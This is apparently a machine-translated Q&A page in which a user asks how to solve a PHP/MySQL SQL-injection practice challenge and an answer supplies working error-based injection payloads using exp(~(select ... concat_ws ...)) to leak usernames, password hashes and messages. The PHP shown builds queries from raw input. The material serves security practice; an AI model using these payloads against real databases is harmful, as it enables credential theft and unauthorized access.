¿Explotando la vulnerabilidad de MD5 / Salt en este formulario de PHP?

4

He estado practicando temas relacionados con la seguridad y este desafío me ha confundido. Nota: No puedo acceder a ningún código fuente de PHP, ni puedo editarlo. Solo puedo verlo.

Se da lo siguiente:

  1. Tengo dos entradas, "usuario" y "pasar"
  2. Después de 30 veces se envía el formulario, la sal, los hashes y la solución final cambian. Así que la fuerza bruta no es una opción (¡por desgracia!)
  3. @ La parte inferior de la página (que no se muestra en el código por algún motivo), indica que encontró 9 users (que llama a la función getnumberofusers ())

He logrado extraer esto:

nombre de usuario = raíz

contraseña de hash = 551e18b35e17017742a8ce4ed27f626e

Token (posiblemente sal?) = 0St31ez14wOT6jTh

Lo que he intentado hasta ahora con resultados fallidos:

  • Usando la inyección SQL, seleccione una colisión MD5 conocida como password y envíe su contraparte como " pass ", sin embargo, la sal está incomodando este proceso. Claramente no pude forzar esto porque después de 30 intentos la sal cambiaría.
    • Intenté encontrar la lista completa de usuarios, pero no imprime la salida en ningún sitio (solo errores)

Este es el código que recibimos:

<?php
//by Mawekl
//Objective: login as root.
//Objective is NOT:
// - Blind SQLI
// - Bruteforce password/salt/id

#WARNING
#ANTI-BLIND
#for every 30 queries
#all hashes, salt
#and final solution
#will be reset.

function getnumberofusers()
{
    $q = "SELECT 1 FROM 'sqlinjection1'";
    $r = mysql_query($q);
    return 'Number of users: '  . mysql_num_rows($r);
}

function getinfo($user)
{
    $q = "SELECT 'id', 'password' FROM 'sqlinjection1' WHERE 'username'='$user'";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "Username doesn't exists.";
    return $r;
}

function getfullinfo($id)
{
    $q = "SELECT * FROM 'sqlinjection1' WHERE 'id'=$id";
    $r = mysql_query($q);
    if(!$r)
        return mysql_error();
    $r = mysql_fetch_array($r);
    if(!$r)
        return "What the hell?!";
    return $r;
}

function confirmpassword($pass, $passcorrect, $salt)
{
    $pass = md5(md5(md5($pass)).$salt);
    return $pass===$passcorrect;
}

function challenge($user, $pass)
{
    $info = getinfo($user);
    if(!is_array($info))
        return $info;
    $confirm = confirmpassword($pass, $info['password'], $_ENV['ST_SALT']);
    if(!$confirm)
        return 'Wrong password!';
    $info = getfullinfo($info['id']);
    if(!is_array($info))
        return $info;
    $returnmessage = "Welcome " . $info['username'] . "!" . PHP_EOL .
    $info['welcomemessage'] . PHP_EOL;
    return $returnmessage;
}

?>

Cualquier ayuda es apreciada, y si tiene alguna pregunta, me encantaría aclarar mi pregunta.

    
pregunta Tom 13.06.2016 - 10:06
fuente

1 respuesta

2

Desde el código fuente podemos ver que sqlinjection1 tiene cuatro columnas conocidas username,password,welcomemessage,id .

Como las personas apuntan en las comunicaciones, podemos usar inyección de SQL basada en errores para obtener los nombres de usuario, las contraseñas, el mensaje de bienvenida, la identificación, etc.

Publicar debajo de los parámetros en sqli

$ usuario = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 limit 1)a)) or '1'='1

$ pass = something

El error impreso es

'DOUBLE value is out of range in &#39;exp(~((select &#39;user1:pass1:secret message:1&#39; from dual)))&#39;

Entonces, username = user1, password = pass1, welcomemessage = secret message and id = 1

Ahora podemos obtener una lista del siguiente usuario usando

$ usuario = 1' or exp(~(select * from (select concat_ws(':',username,password,welcomemessage,id) from sqlinjection1 where username!='user1' limit 1)a)) or '1'='1

$ pass = something

De forma similar, para otros usuarios, cambie la cláusula where y ejecute ..

Podemos seleccionar una sola columna para un solo usuario y simplemente utilizar

$ usuario = 1' or exp(~(select * from (select welcomemessage from sqlinjection1 where username='user1')a)) or '1'='1

    
respondido por el Sravan 13.06.2016 - 11:48
fuente

Lea otras preguntas en las etiquetas